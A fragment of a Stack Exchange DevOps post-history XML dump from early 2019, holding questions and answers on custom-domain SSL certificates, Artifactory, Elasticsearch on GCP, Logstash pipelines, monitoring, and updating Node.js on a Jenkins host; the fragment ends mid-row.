ContentLicense="CC BY-SA 4.0" />
  <row Id="18902" PostHistoryTypeId="2" PostId="5885" RevisionGUID="a168b72c-8124-40b4-bbe8-b614b983b157" CreationDate="2019-01-04T14:46:38.793" UserId="11660" Text="We are working on saas application which is hosted on app.example.com. Now we are trying to give the option to the users where their own domain or sub domain like dev.stack.com point to my application by adding A record to 1.2.3.4 IP address (ip address where app.example.com is hosted). &#xD;&#xA;&#xD;&#xA;With the above setup, we are facing the issues with ssl certificate of the vendor domains. Is there any way we can create global certificate and add it to our servers which can work for any domain pointed to our servers.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18903" PostHistoryTypeId="1" PostId="5885" RevisionGUID="a168b72c-8124-40b4-bbe8-b614b983b157" CreationDate="2019-01-04T14:46:38.793" UserId="11660" Text="Issue with custom domain SSL certification" ContentLicense="CC BY-SA 4.0" />
  <row Id="18904" PostHistoryTypeId="3" PostId="5885" RevisionGUID="a168b72c-8124-40b4-bbe8-b614b983b157" CreationDate="2019-01-04T14:46:38.793" UserId="11660" Text="&lt;nginx&gt;&lt;ssl&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18905" PostHistoryTypeId="5" PostId="4669" RevisionGUID="97cdea64-3c95-4f8d-a70c-2cc45e1cfb47" CreationDate="2019-01-04T16:22:53.387" UserId="11645" Comment="proper Artifactory naming" Text="I want to understand what is virtual repository in the context of Artifacts Repository Manager" ContentLicense="CC BY-SA 4.0" />
  <row Id="18906" PostHistoryTypeId="4" PostId="4669" RevisionGUID="97cdea64-3c95-4f8d-a70c-2cc45e1cfb47" CreationDate="2019-01-04T16:22:53.387" UserId="11645" Comment="proper Artifactory naming" Text="What is virtual repository in JFrog Artifactory / Artifact Repository Manager?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18907" PostHistoryTypeId="24" PostId="4669" RevisionGUID="97cdea64-3c95-4f8d-a70c-2cc45e1cfb47" CreationDate="2019-01-04T16:22:53.387" Comment="Proposed by 11645 approved by -1 edit id of 909" ContentLicense="CC BY-SA 4.0" />
  <row Id="18908" PostHistoryTypeId="5" PostId="4669" RevisionGUID="cc50d2c2-ceee-4fa1-9352-b4821c333c93" CreationDate="2019-01-04T16:22:53.387" UserId="40" Comment="added 16 characters in body; edited title" Text="I want to understand what is a virtual repository in the context of Artifacts Repository Manager.&#xD;&#xA;&#xD;&#xA;Any help?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18909" PostHistoryTypeId="4" PostId="4669" RevisionGUID="cc50d2c2-ceee-4fa1-9352-b4821c333c93" CreationDate="2019-01-04T16:22:53.387" UserId="40" Comment="added 16 characters in body; edited title" Text="What is a virtual repository in JFrog Artifactory / Artifact Repository Manager?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18911" PostHistoryTypeId="2" PostId="5887" RevisionGUID="09107bbf-3649-442e-8e3e-cdaa266059c0" CreationDate="2019-01-04T16:45:02.477" UserId="11666" Text="I'm trying to create my own Elasticsearch cluster to use for security analytics. I'm familiar with the function and setup of a single instance deployment, but I'm having trouble figuring out the simplest strategy to set up and manage the cluster of any sizable scale in GCP. The two ways I've played around with are:&#xD;&#xA;&#xD;&#xA;1. Building the ES cluster using Compute Engine VM's in GCP.&#xD;&#xA;2. Managing the cluster using the Kubernetes Engine and the official Elastic docker image.&#xD;&#xA;&#xD;&#xA;Since I don't have much experience with containerization, I'm trying to figure out if learning and managing a kubernetes deployment would save me some headache in the long run." ContentLicense="CC BY-SA 4.0" />
  <row Id="18912" PostHistoryTypeId="1" PostId="5887" RevisionGUID="09107bbf-3649-442e-8e3e-cdaa266059c0" CreationDate="2019-01-04T16:45:02.477" UserId="11666" Text="Easiest way to manage an elasticsearch cluster in GCP?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18913" PostHistoryTypeId="3" PostId="5887" RevisionGUID="09107bbf-3649-442e-8e3e-cdaa266059c0" CreationDate="2019-01-04T16:45:02.477" UserId="11666" Text="&lt;kubernetes&gt;&lt;google-cloud-platform&gt;&lt;elastic&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18914" PostHistoryTypeId="5" PostId="5875" RevisionGUID="2103de28-e3d6-48ee-b1a6-93ca843a3de7" CreationDate="2019-01-04T18:55:50.383" UserId="11645" Comment="deleted 1 character in body" Text="As @XiongChiamiov mentioned, it's a very hard question to answer, but here's a clue:&#xD;&#xA;&#xD;&#xA;Artifactory is a network-bond server. It means given enough storage, CPU and memory, it will max out your network interface first. Network interface is considered maxed out at half its rated bandwidth limitation. That can help you do the math." ContentLicense="CC BY-SA 4.0" />
  <row Id="18915" PostHistoryTypeId="34" PostId="5822" RevisionGUID="ca66c6bf-a316-4ad9-9df4-563b5db6a8f5" CreationDate="2019-01-04T19:02:00.410" UserId="-1" Comment="34" />
  <row Id="18916" PostHistoryTypeId="2" PostId="5888" RevisionGUID="99ee6832-2a58-40a0-8cf8-bcfba7ff2889" CreationDate="2019-01-04T19:29:27.810" UserId="9838" Text="Try this: &#xD;&#xA;&#xD;&#xA;    # Get status&#xD;&#xA;    curl http://localhost:8081/nexus/service/local/status &#xD;&#xA;    # List of repositories&#xD;&#xA;    curl http://localhost:8081/nexus/service/local/repositories&#xD;&#xA;&#xD;&#xA;For the json parameter: &#xD;&#xA;&#xD;&#xA;    curl -i -H &quot;Accept: application/json&quot; &lt;url&gt;&#xD;&#xA;&#xD;&#xA;More information, see this [link][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sonatype.com/people/2012/07/learning-the-nexus-rest-api-read-the-docs-or-fire-up-a-browser/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18921" PostHistoryTypeId="2" PostId="5890" RevisionGUID="a9cfbadf-0c4f-45f1-b5ac-587cd958759d" CreationDate="2019-01-04T20:57:14.077" UserId="11672" Text="I have two Filebeat pipes inputting into Logstash. One parses out log errors that I actually care about from one service while the other takes each line in order to keep track of the health of another service that often crashes by just hanging indefinitely. Originally, I was only running the exceptions pipe which was working and filtering correctly.&#xD;&#xA;&#xD;&#xA;Yesterday, I added the second pipe. I used the pipelines.yml file. The Logstash log shows that both pipelines are initialized correctly at startup, shows that there are two pipelines running. They are running the inputs on separate ports as required. Filebeat side is also configured to run on the correct ports.&#xD;&#xA;&#xD;&#xA;The problem is that they are outputting to the same index and now the filtering for the exception logs is being ignored. It's like the exception log config file is being completely disregarded except for the part about which port to receive from Filebeat on.&#xD;&#xA;&#xD;&#xA;Has anyone had this issue, or should this be a bug report to the ES team? Below are my config file input/outputs and pipelines.yml setup, just in case anyone can glance and see that I'm missing something. It's completely perplexing me because it's an extremely simple setup.&#xD;&#xA;&#xD;&#xA;Config1:&#xD;&#xA;&#xD;&#xA;    input {&#xD;&#xA;        beats {&#xD;&#xA;            port =&gt; &quot;5044&quot;&#xD;&#xA;    &#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    ...&#xD;&#xA;    output {&#xD;&#xA;    	elasticsearch {&#xD;&#xA;    		hosts =&gt; [&quot;http://****:9200&quot;]&#xD;&#xA;    		index =&gt; &quot;logtailing-%{[@metadata][version]}-%{+YYYY.MM.dd}&quot; &#xD;&#xA;    	}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Config2:&#xD;&#xA;&#xD;&#xA;    input {&#xD;&#xA;        beats {&#xD;&#xA;            port =&gt; &quot;5043&quot;&#xD;&#xA;    &#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    ...&#xD;&#xA;    output {&#xD;&#xA;    	elasticsearch {&#xD;&#xA;    		hosts =&gt; [&quot;http://****:9200&quot;]&#xD;&#xA;    		index =&gt; &quot;releaserexceptions-%{[@metadata][version]}-%{+YYYY.MM.dd}&quot; &#xD;&#xA;    	}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;pipelines.yml:&#xD;&#xA;&#xD;&#xA;     - pipeline.id: logtailing&#xD;&#xA;       path.config: &quot;../config/logtailing.conf&quot;&#xD;&#xA;     - pipeline.id: releaserexceptions&#xD;&#xA;       path.config: &quot;../config/releaserexceptions.conf&quot;&#xD;&#xA;&#xD;&#xA;Logstash logs look like this so it seems to me it should be working with no issues:&#xD;&#xA;&#xD;&#xA;    [2019-01-04T12:46:26,256][INFO ][logstash.runner          ] Starting Logstash {&quot;logstash.version&quot;=&gt;&quot;6.4.0&quot;}&#xD;&#xA;    [2019-01-04T12:46:31,249][INFO ][logstash.pipeline        ] Starting pipeline {:pipeline_id=&gt;&quot;logtailing&quot;, &quot;pipeline.workers&quot;=&gt;1, &quot;pipeline.batch.size&quot;=&gt;125, &quot;pipeline.batch.delay&quot;=&gt;50}&#xD;&#xA;    [2019-01-04T12:46:32,138][INFO ][logstash.outputs.elasticsearch] Elasticsearch pool URLs updated {:changes=&gt;{:removed=&gt;[], :added=&gt;[http://****:9200/]}}&#xD;&#xA;    [2019-01-04T12:46:32,151][INFO ][logstash.outputs.elasticsearch] Running health check to see if an Elasticsearch connection is working {:healthcheck_url=&gt;http://****:9200/, :path=&gt;&quot;/&quot;}&#xD;&#xA;    [2019-01-04T12:46:32,644][INFO ][logstash.pipeline        ] Starting pipeline {:pipeline_id=&gt;&quot;releaserexceptions&quot;, &quot;pipeline.workers&quot;=&gt;1, &quot;pipeline.batch.size&quot;=&gt;125, &quot;pipeline.batch.delay&quot;=&gt;50}&#xD;&#xA;    [2019-01-04T12:46:32,670][INFO ][logstash.outputs.elasticsearch] Elasticsearch pool URLs updated {:changes=&gt;{:removed=&gt;[], :added=&gt;[http://****:9200/]}}&#xD;&#xA;    [2019-01-04T12:46:32,672][INFO ][logstash.outputs.elasticsearch] Running health check to see if an Elasticsearch connection is working {:healthcheck_url=&gt;http://****:9200/, :path=&gt;&quot;/&quot;}&#xD;&#xA;    [2019-01-04T12:46:32,741][WARN ][logstash.outputs.elasticsearch] Restored connection to ES instance {:url=&gt;&quot;http://****:9200/&quot;}&#xD;&#xA;    [2019-01-04T12:46:32,806][INFO ][logstash.outputs.elasticsearch] ES Output version determined {:es_version=&gt;6}&#xD;&#xA;    [2019-01-04T12:46:32,811][WARN ][logstash.outputs.elasticsearch] Detected a 6.x and above cluster: the `type` event field won't be used to determine the document _type {:es_version=&gt;6}&#xD;&#xA;    [2019-01-04T12:46:32,842][INFO ][logstash.outputs.elasticsearch] New Elasticsearch output {:class=&gt;&quot;LogStash::Outputs::ElasticSearch&quot;, :hosts=&gt;[&quot;http://****:9200&quot;]}&#xD;&#xA;    [2019-01-04T12:46:32,869][INFO ][logstash.outputs.elasticsearch] Using mapping template from {:path=&gt;nil}&#xD;&#xA;    [2019-01-04T12:46:32,900][INFO ][logstash.outputs.elasticsearch] Attempting to install template {:manage_template=&gt;{&quot;template&quot;=&gt;&quot;logstash-*&quot;, &quot;version&quot;=&gt;60001, &quot;settings&quot;=&gt;{&quot;index.refresh_interval&quot;=&gt;&quot;5s&quot;}, &quot;mappings&quot;=&gt;{&quot;_default_&quot;=&gt;{&quot;dynamic_templates&quot;=&gt;[{&quot;message_field&quot;=&gt;{&quot;path_match&quot;=&gt;&quot;message&quot;, &quot;match_mapping_type&quot;=&gt;&quot;string&quot;, &quot;mapping&quot;=&gt;{&quot;type&quot;=&gt;&quot;text&quot;, &quot;norms&quot;=&gt;false}}}, {&quot;string_fields&quot;=&gt;{&quot;match&quot;=&gt;&quot;*&quot;, &quot;match_mapping_type&quot;=&gt;&quot;string&quot;, &quot;mapping&quot;=&gt;{&quot;type&quot;=&gt;&quot;text&quot;, &quot;norms&quot;=&gt;false, &quot;fields&quot;=&gt;{&quot;keyword&quot;=&gt;{&quot;type&quot;=&gt;&quot;keyword&quot;, &quot;ignore_above&quot;=&gt;256}}}}}], &quot;properties&quot;=&gt;{&quot;@timestamp&quot;=&gt;{&quot;type&quot;=&gt;&quot;date&quot;}, &quot;@version&quot;=&gt;{&quot;type&quot;=&gt;&quot;keyword&quot;}, &quot;geoip&quot;=&gt;{&quot;dynamic&quot;=&gt;true, &quot;properties&quot;=&gt;{&quot;ip&quot;=&gt;{&quot;type&quot;=&gt;&quot;ip&quot;}, &quot;location&quot;=&gt;{&quot;type&quot;=&gt;&quot;geo_point&quot;}, &quot;latitude&quot;=&gt;{&quot;type&quot;=&gt;&quot;half_float&quot;}, &quot;longitude&quot;=&gt;{&quot;type&quot;=&gt;&quot;half_float&quot;}}}}}}}}&#xD;&#xA;    [2019-01-04T12:46:33,461][WARN ][logstash.outputs.elasticsearch] Restored connection to ES instance {:url=&gt;&quot;http://****:9200/&quot;}&#xD;&#xA;    [2019-01-04T12:46:33,466][INFO ][logstash.outputs.elasticsearch] ES Output version determined {:es_version=&gt;6}&#xD;&#xA;    [2019-01-04T12:46:33,466][WARN ][logstash.outputs.elasticsearch] Detected a 6.x and above cluster: the `type` event field won't be used to determine the document _type {:es_version=&gt;6}&#xD;&#xA;    [2019-01-04T12:46:33,468][INFO ][logstash.outputs.elasticsearch] New Elasticsearch output {:class=&gt;&quot;LogStash::Outputs::ElasticSearch&quot;, :hosts=&gt;[&quot;http://****:9200&quot;]}&#xD;&#xA;    [2019-01-04T12:46:33,474][INFO ][logstash.outputs.elasticsearch] Using mapping template from {:path=&gt;nil}&#xD;&#xA;    [2019-01-04T12:46:33,499][INFO ][logstash.outputs.elasticsearch] Attempting to install template {:manage_template=&gt;{&quot;template&quot;=&gt;&quot;logstash-*&quot;, &quot;version&quot;=&gt;60001, &quot;settings&quot;=&gt;{&quot;index.refresh_interval&quot;=&gt;&quot;5s&quot;}, &quot;mappings&quot;=&gt;{&quot;_default_&quot;=&gt;{&quot;dynamic_templates&quot;=&gt;[{&quot;message_field&quot;=&gt;{&quot;path_match&quot;=&gt;&quot;message&quot;, &quot;match_mapping_type&quot;=&gt;&quot;string&quot;, &quot;mapping&quot;=&gt;{&quot;type&quot;=&gt;&quot;text&quot;, &quot;norms&quot;=&gt;false}}}, {&quot;string_fields&quot;=&gt;{&quot;match&quot;=&gt;&quot;*&quot;, &quot;match_mapping_type&quot;=&gt;&quot;string&quot;, &quot;mapping&quot;=&gt;{&quot;type&quot;=&gt;&quot;text&quot;, &quot;norms&quot;=&gt;false, &quot;fields&quot;=&gt;{&quot;keyword&quot;=&gt;{&quot;type&quot;=&gt;&quot;keyword&quot;, &quot;ignore_above&quot;=&gt;256}}}}}], &quot;properties&quot;=&gt;{&quot;@timestamp&quot;=&gt;{&quot;type&quot;=&gt;&quot;date&quot;}, &quot;@version&quot;=&gt;{&quot;type&quot;=&gt;&quot;keyword&quot;}, &quot;geoip&quot;=&gt;{&quot;dynamic&quot;=&gt;true, &quot;properties&quot;=&gt;{&quot;ip&quot;=&gt;{&quot;type&quot;=&gt;&quot;ip&quot;}, &quot;location&quot;=&gt;{&quot;type&quot;=&gt;&quot;geo_point&quot;}, &quot;latitude&quot;=&gt;{&quot;type&quot;=&gt;&quot;half_float&quot;}, &quot;longitude&quot;=&gt;{&quot;type&quot;=&gt;&quot;half_float&quot;}}}}}}}}&#xD;&#xA;    [2019-01-04T12:46:33,813][INFO ][logstash.inputs.beats    ] Beats inputs: Starting input listener {:address=&gt;&quot;0.0.0.0:5043&quot;}&#xD;&#xA;    [2019-01-04T12:46:33,831][INFO ][logstash.inputs.beats    ] Beats inputs: Starting input listener {:address=&gt;&quot;0.0.0.0:5044&quot;}&#xD;&#xA;    [2019-01-04T12:46:33,903][INFO ][logstash.pipeline        ] Pipeline started successfully {:pipeline_id=&gt;&quot;logtailing&quot;, :thread=&gt;&quot;#&lt;Thread:0x132b2cfb run&gt;&quot;}&#xD;&#xA;    [2019-01-04T12:46:33,903][INFO ][logstash.pipeline        ] Pipeline started successfully {:pipeline_id=&gt;&quot;releaserexceptions&quot;, :thread=&gt;&quot;#&lt;Thread:0xaf8b522 run&gt;&quot;}&#xD;&#xA;    [2019-01-04T12:46:33,998][INFO ][logstash.agent           ] Pipelines running {:count=&gt;2, :running_pipelines=&gt;[:logtailing, :releaserexceptions], :non_running_pipelines=&gt;[]}&#xD;&#xA;    [2019-01-04T12:46:34,013][INFO ][org.logstash.beats.Server] Starting server on port: 5043&#xD;&#xA;    [2019-01-04T12:46:34,013][INFO ][org.logstash.beats.Server] Starting server on port: 5044&#xD;&#xA;    [2019-01-04T12:46:34,453][INFO ][logstash.agent           ] Successfully started Logstash API endpoint {:port=&gt;9600}" ContentLicense="CC BY-SA 4.0" />
  <row Id="18922" PostHistoryTypeId="1" PostId="5890" RevisionGUID="a9cfbadf-0c4f-45f1-b5ac-587cd958759d" CreationDate="2019-01-04T20:57:14.077" UserId="11672" Text="Multiple Logstash Pipelines outputting into same index" ContentLicense="CC BY-SA 4.0" />
  <row Id="18923" PostHistoryTypeId="3" PostId="5890" RevisionGUID="a9cfbadf-0c4f-45f1-b5ac-587cd958759d" CreationDate="2019-01-04T20:57:14.077" UserId="11672" Text="&lt;logstash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18925" PostHistoryTypeId="2" PostId="5891" RevisionGUID="9dd8e633-2b17-417b-9353-64a47fe93957" CreationDate="2019-01-04T21:34:52.033" UserId="9838" Text="On building the docker image, you need to have the [docker daemon enabled][1].&#xD;&#xA;You can also use the [jib][2], a Google project, which creates images for your Java applications without the Docker daemon&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://success.docker.com/article/how-do-i-enable-the-remote-api-for-dockerd&#xD;&#xA;  [2]: https://github.com/GoogleContainerTools/jib" ContentLicense="CC BY-SA 4.0" />
  <row Id="18928" PostHistoryTypeId="2" PostId="5892" RevisionGUID="aa3cd2a9-a7d3-42da-824c-3ddfcb856f25" CreationDate="2019-01-05T08:32:37.647" UserId="8251" Text="Can you obtain asecure certificate for someone else's domain or subdomain - hopefully not.&#xD;&#xA;&#xD;&#xA;One of the core security pillars of a secure certificate is that it ensures that you are actually connected (through an encrypted connection) to the the site you wanted to connect to. For this purpose the minimum check every certificate issuer makes is to check for ownership of the domain by the entity requesting it.&#xD;&#xA;&#xD;&#xA;For &quot;manual&quot; issuers, this often involves uploading a file to a web server on this domain, creating a DNS record or clicking on a link in an email to the registrant, administrator or technical contact in the whois record of the domain.&#xD;&#xA;&#xD;&#xA;You can replicate this process for your needs for your SaaS application by using LetsEncrypt: It allows you to either &#xD;&#xA;&#xD;&#xA; 1. upload a file to a folder on a web server for the domain: In this case you would advise the client to point an A record (or probably better CNAME) to your server and once resolved, you can issue the certificate with letsencrypt by copying the file yourself&#xD;&#xA; 2. create a specific DNS record, which again allows you to create the certificate.&#xD;&#xA;&#xD;&#xA;Lets encrypt certificates are valid for 90 days, but as you will need the A record in place in anycase to run your SaaS, you will be able to renew the certificate yourself regularly.&#xD;&#xA;&#xD;&#xA;P.S.: Not too long ago, subsidiaries of Symantec were found (twice) to not always have checked domain ownership and then did not appear to take remedial action consistently (twice). This led to the &quot;[distrusting][1]&quot; of all Symantec certificates in Chrome and Firefox after giving owners of these certs some time to create new certificates.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://security.googleblog.com/2018/03/distrust-of-symantec-pki-immediate.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="18929" PostHistoryTypeId="5" PostId="5892" RevisionGUID="117d6910-b155-4f3e-9017-ca4079496d79" CreationDate="2019-01-05T08:41:59.253" UserId="8251" Comment="added 20 characters in body" Text="Can you obtain a secure certificate for someone else's domain or subdomain without their help - hopefully not.&#xD;&#xA;&#xD;&#xA;One of the core security pillars of a secure certificate is that it ensures that you are actually connected (through an encrypted connection) to the the site you wanted to connect to. For this purpose the minimum check every certificate issuer makes is to check for ownership of the domain by the entity requesting it.&#xD;&#xA;&#xD;&#xA;For &quot;manual&quot; issuers, this often involves uploading a file to a web server on this domain, creating a DNS record or clicking on a link in an email to the registrant, administrator or technical contact in the whois record of the domain.&#xD;&#xA;&#xD;&#xA;You can replicate this process for your needs for your SaaS application by using LetsEncrypt: It allows you to either &#xD;&#xA;&#xD;&#xA; 1. upload a file to a folder on a web server for the domain: In this case you would advise the client to point an A record (or probably better CNAME) to your server and once resolved, you can issue the certificate with letsencrypt by copying the file yourself&#xD;&#xA; 2. create a specific DNS record, which again allows you to create the certificate.&#xD;&#xA;&#xD;&#xA;Lets encrypt certificates are valid for 90 days, but as you will need the A record in place in anycase to run your SaaS, you will be able to renew the certificate yourself regularly.&#xD;&#xA;&#xD;&#xA;P.S.: Not too long ago, subsidiaries of Symantec were found (twice) to not always have checked domain ownership and then did not appear to take remedial action consistently (twice). This led to the &quot;[distrusting][1]&quot; of all Symantec certificates in Chrome and Firefox after giving owners of these certs some time to create new certificates.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://security.googleblog.com/2018/03/distrust-of-symantec-pki-immediate.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="18930" PostHistoryTypeId="4" PostId="5853" RevisionGUID="13a79d4b-4d47-4443-87ae-a561997128e4" CreationDate="2019-01-05T13:38:30.073" UserId="40" Comment="edited title" Text="When is it not appropriate to use serverless technology such as AWS Lambda?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18931" PostHistoryTypeId="5" PostId="3518" RevisionGUID="7734525d-df4e-4ec9-aa3a-221358a6d3b4" CreationDate="2019-01-05T13:39:49.567" UserId="40" Comment="added 1 character in body" Text="[The definition of a stateless app](http://whatis.techtarget.com/definition/stateless-app) seems to apply to database servers like MongoDB or MySQL. I found [Helm Charts](https://github.com/kubernetes/charts) as a kind of template-repository for Kubernetes. However, the stable builds all use deployments. Only in the incubator, which are not provided as stable. &#xD;&#xA;&#xD;&#xA;**What is the impact of using Deployments for DB Servers?**&#xD;&#xA;&#xD;&#xA;Are there any issues like sync/replication issues, when running multiple instances in a cluster, for example?&#xD;&#xA;&#xD;&#xA;Background: I want to run MongoDB in a failover-cluster, so at least 2 instances are running." ContentLicense="CC BY-SA 4.0" />
  <row Id="18932" PostHistoryTypeId="5" PostId="5464" RevisionGUID="1ce37e37-9713-4d4a-88e6-9b4c1bd2c19d" CreationDate="2019-01-05T13:41:19.157" UserId="40" Comment="deleted 1 character in body" Text="The essential feature of JFrog Enterprise over JFrog Pro (X) is that it introduces high availability and site replication support.&#xD;&#xA;&#xD;&#xA;Obviously, operations in geographically distributed organizations with thousands developers and build processes require some planning also for this aspect.&#xD;&#xA;&#xD;&#xA;Nevertheless, is there any data/study to show order of magnitude of load where you would say okay this is where we need not just some vertical scaling but parallel (say using some reference hardware setup)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18933" PostHistoryTypeId="2" PostId="5893" RevisionGUID="1188d428-ff23-4df9-a34b-6168280f02b1" CreationDate="2019-01-05T13:44:22.523" UserId="11677" Text="I run a micro-service oriented system, running under a private network, composed mainly of:&#xD;&#xA;&#xD;&#xA; - databases (clusters)&#xD;&#xA; - internal API's&#xD;&#xA; - external/public API's&#xD;&#xA; - workers (services)&#xD;&#xA; - monitoring servers&#xD;&#xA;&#xD;&#xA;All are running Debian (7/8) and mainly using nginx and supervisor.&#xD;&#xA;&#xD;&#xA;I'm currently monitoring logs using ELK stack. But I do want to have a monitoring/alerting system to include the following:&#xD;&#xA;&#xD;&#xA; - internal/public API's (calls)&#xD;&#xA; - databases status (only basic, to know when the cluster does not have issues)&#xD;&#xA; - ram/cpu for the servers&#xD;&#xA;&#xD;&#xA;What do you recommend to use? I'm more open to open-source solution, but also can pay for services that are mature (not interested in startup solutions) &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18934" PostHistoryTypeId="1" PostId="5893" RevisionGUID="1188d428-ff23-4df9-a34b-6168280f02b1" CreationDate="2019-01-05T13:44:22.523" UserId="11677" Text="How to monitor a micro-service oriented solution?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18935" PostHistoryTypeId="3" PostId="5893" RevisionGUID="1188d428-ff23-4df9-a34b-6168280f02b1" CreationDate="2019-01-05T13:44:22.523" UserId="11677" Text="&lt;monitoring&gt;&lt;microservices&gt;&lt;software-as-a-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18936" PostHistoryTypeId="50" PostId="4720" RevisionGUID="102a098a-12d4-4130-ace0-dd898a2aab1b" CreationDate="2019-01-05T18:01:35.293" UserId="-1" />
  <row Id="18938" PostHistoryTypeId="50" PostId="5635" RevisionGUID="07c94a63-9290-4d55-b7b1-9359de65586b" CreationDate="2019-01-06T10:02:20.497" UserId="-1" />
  <row Id="18942" PostHistoryTypeId="50" PostId="5624" RevisionGUID="859c922a-7052-4c4a-81f1-f8698ef202fd" CreationDate="2019-01-06T11:02:40.603" UserId="-1" />
  <row Id="18943" PostHistoryTypeId="50" PostId="5339" RevisionGUID="a2d13528-dd67-4831-8eca-e1a0edd87544" CreationDate="2019-01-06T12:02:45.553" UserId="-1" />
  <row Id="18944" PostHistoryTypeId="2" PostId="5895" RevisionGUID="71c1cae1-63ca-42ad-9076-49fafae8f181" CreationDate="2019-01-06T14:00:15.537" UserId="11683" Text="I am in the middle of trying to implement a build/deploy job in Jenkins by which the latest version of source code is pulled from git, built and then deployed to GCP. So far i am able to retrieve the lastest code from GIT but have run into issues when tyring to build. The application being built/deployed is an Angular 7 web site using npm for package management. So the normal steps would be to run npm install to make sure the packages are installed and then ng build -- prod to build the app. My issue is that the version of npm/nodejs in the master node is out of date and not compatable with Angular 7. Even just trying the command to gert the current ng version fails:&#xD;&#xA;&#xD;&#xA;    + /usr/bin/ng v&#xD;&#xA;    You are running version v8.1.4 of Node.js, which is not supported by Angular CLI v6.&#xD;&#xA;    The official Node.js version that is supported is 8.9 and greater.&#xD;&#xA;&#xD;&#xA;I added a call to npm version to check the npm version is is trying to use:&#xD;&#xA;&#xD;&#xA;    + echo current user&#xD;&#xA;    current user&#xD;&#xA;    + whoami&#xD;&#xA;    jenkins&#xD;&#xA;    + npm -v&#xD;&#xA;    5.0.3&#xD;&#xA;&#xD;&#xA;To investigate the issue i used putty to remote onto the jenkins box and ran ng v to see what is installed and get:&#xD;&#xA;&#xD;&#xA;    jenkins@****:~$ ng v&#xD;&#xA;    &#xD;&#xA;         _                      _                 ____ _     ___&#xD;&#xA;        / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|&#xD;&#xA;       / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |&#xD;&#xA;      / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |&#xD;&#xA;     /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|&#xD;&#xA;                    |___/&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Angular CLI: 7.1.4&#xD;&#xA;    Node: 11.6.0&#xD;&#xA;    OS: linux x64&#xD;&#xA;    Angular:&#xD;&#xA;    ...&#xD;&#xA;    &#xD;&#xA;    Package                      Version&#xD;&#xA;    ------------------------------------------------------&#xD;&#xA;    @angular-devkit/architect    0.11.4&#xD;&#xA;    @angular-devkit/core         7.1.4&#xD;&#xA;    @angular-devkit/schematics   7.1.4&#xD;&#xA;    @schematics/angular          7.1.4&#xD;&#xA;    @schematics/update           0.11.4&#xD;&#xA;    rxjs                         6.3.3&#xD;&#xA;    typescript                   3.1.6&#xD;&#xA;&#xD;&#xA;So it should have nodejs 11.6, i ran node -v to double check:&#xD;&#xA;&#xD;&#xA;    jenkins@****:~$ node -v&#xD;&#xA;    v11.6.0&#xD;&#xA;&#xD;&#xA;BUT if i run nodejs -v i get:&#xD;&#xA;&#xD;&#xA;    jenkins@****:~$ nodejs -v&#xD;&#xA;    v8.1.4&#xD;&#xA;&#xD;&#xA;I thought that node and nodejs were the same thing? so why would i have two different versions installed and how to i fix this?&#xD;&#xA;&#xD;&#xA;To double check what my Jenkins script is using i added a call to node -v in the script and as expected it reports the older version:&#xD;&#xA;&#xD;&#xA;    + node -v&#xD;&#xA;    v8.1.4&#xD;&#xA;&#xD;&#xA;I should add that i'm not a devops person, i'm C# back end developer who's been lumbered with sorting this out due staff changes. I know very little about linux, Jenkins or this stuff in general :(&#xD;&#xA;&#xD;&#xA;I tried to update the node installation via the Jenkins Shell script using&#xD;&#xA;&#xD;&#xA;    sudo npm cache clean -f&#xD;&#xA;    sudo npm install -g n&#xD;&#xA;    sudo n stable&#xD;&#xA;&#xD;&#xA;But these were refused due to access rights (no sudo pwd i presume) and i don't know if that would've fixed the issue anyway.&#xD;&#xA;&#xD;&#xA;Any help would be much appreciated....&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18945" PostHistoryTypeId="1" PostId="5895" RevisionGUID="71c1cae1-63ca-42ad-9076-49fafae8f181" CreationDate="2019-01-06T14:00:15.537" UserId="11683" Text="How to update nodejs on Jenkins master node" ContentLicense="CC BY-SA 4.0" />
  <row Id="18946" PostHistoryTypeId="3" PostId="5895" RevisionGUID="71c1cae1-63ca-42ad-9076-49fafae8f181" CreationDate="2019-01-06T14:00:15.537" UserId="11683" Text="&lt;jenkins&gt;&lt;node.js&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18947" PostHistoryTypeId="5" PostId="5895" RevisionGUID="6265db82-1fbf-473b-92bf-fea9002dee82" CreationDate="2019-01-06T14:07:15.313" UserId="11683" Comment="added 134 characters in body" Text="I am in the middle of trying to implement a build/deploy job in Jenkins by which the latest version of source code is pulled from git, built and then deployed to GCP. So far i am able to retrieve the lastest code from GIT but have run into issues when tyring to build. The application being built/deployed is an Angular 7 web site using npm for package management. So the normal steps would be to run npm install to make sure the packages are installed and then ng build -- prod to build the app. My issue is that the version of npm/nodejs in the master node is out of date and not compatable with Angular 7. Even just trying the command to gert the current ng version fails:&#xD;&#xA;&#xD;&#xA;    + /usr/bin/ng v&#xD;&#xA;    You are running version v8.1.4 of Node.js, which is not supported by Angular CLI 